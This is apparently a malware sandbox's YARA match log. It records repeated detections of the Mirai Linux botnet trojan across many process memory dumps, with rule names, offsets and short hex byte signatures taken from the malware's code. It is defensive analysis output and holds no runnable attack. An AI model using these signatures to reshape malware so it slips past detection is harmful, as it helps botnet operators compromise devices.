7311.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7311.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7311.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6400.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6400.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6400.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6400.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6400.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6400.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7435.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7435.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7435.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7435.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7435.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7435.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6890.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6890.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6890.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6890.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6890.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6890.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7407.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7407.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7407.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7407.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7407.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7407.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7149.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7149.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7149.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7149.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7149.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7149.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6329.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6329.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6329.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6329.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6329.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6329.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6276.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6276.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6276.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6276.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6276.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6276.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6978.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6978.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6978.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6978.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6978.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6978.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6637.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6637.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6637.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6637.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6637.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6637.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6435.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6435.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6435.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6435.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6435.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6435.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6430.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6430.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6430.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6430.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6430.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6430.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6660.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6660.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6660.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6660.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6866.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6866.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6866.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6866.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6866.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6866.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6660.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6660.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6940.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6940.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6940.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6940.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6940.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6940.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6248.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6248.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6248.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6248.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6248.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6248.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6895.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6895.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6895.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6895.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6895.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6895.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7101.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7101.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7101.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7101.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7101.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7101.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6666.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6887.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6887.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6887.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6887.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6887.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6887.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6589.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6589.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6589.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6589.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6589.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6589.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6705.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6705.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6705.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6705.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6705.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6705.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6453.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6453.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6453.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6453.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6453.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6453.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6607.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6607.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6607.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6607.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6607.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6607.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6483.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6483.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6483.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6483.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6483.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6483.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6768.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6768.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6768.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6768.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6768.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6768.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7275.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7275.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7275.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7275.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7275.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7275.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6575.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6409.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6409.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6409.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6409.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6409.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6409.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6342.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6342.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6342.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6342.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6342.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6342.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7268.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7268.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
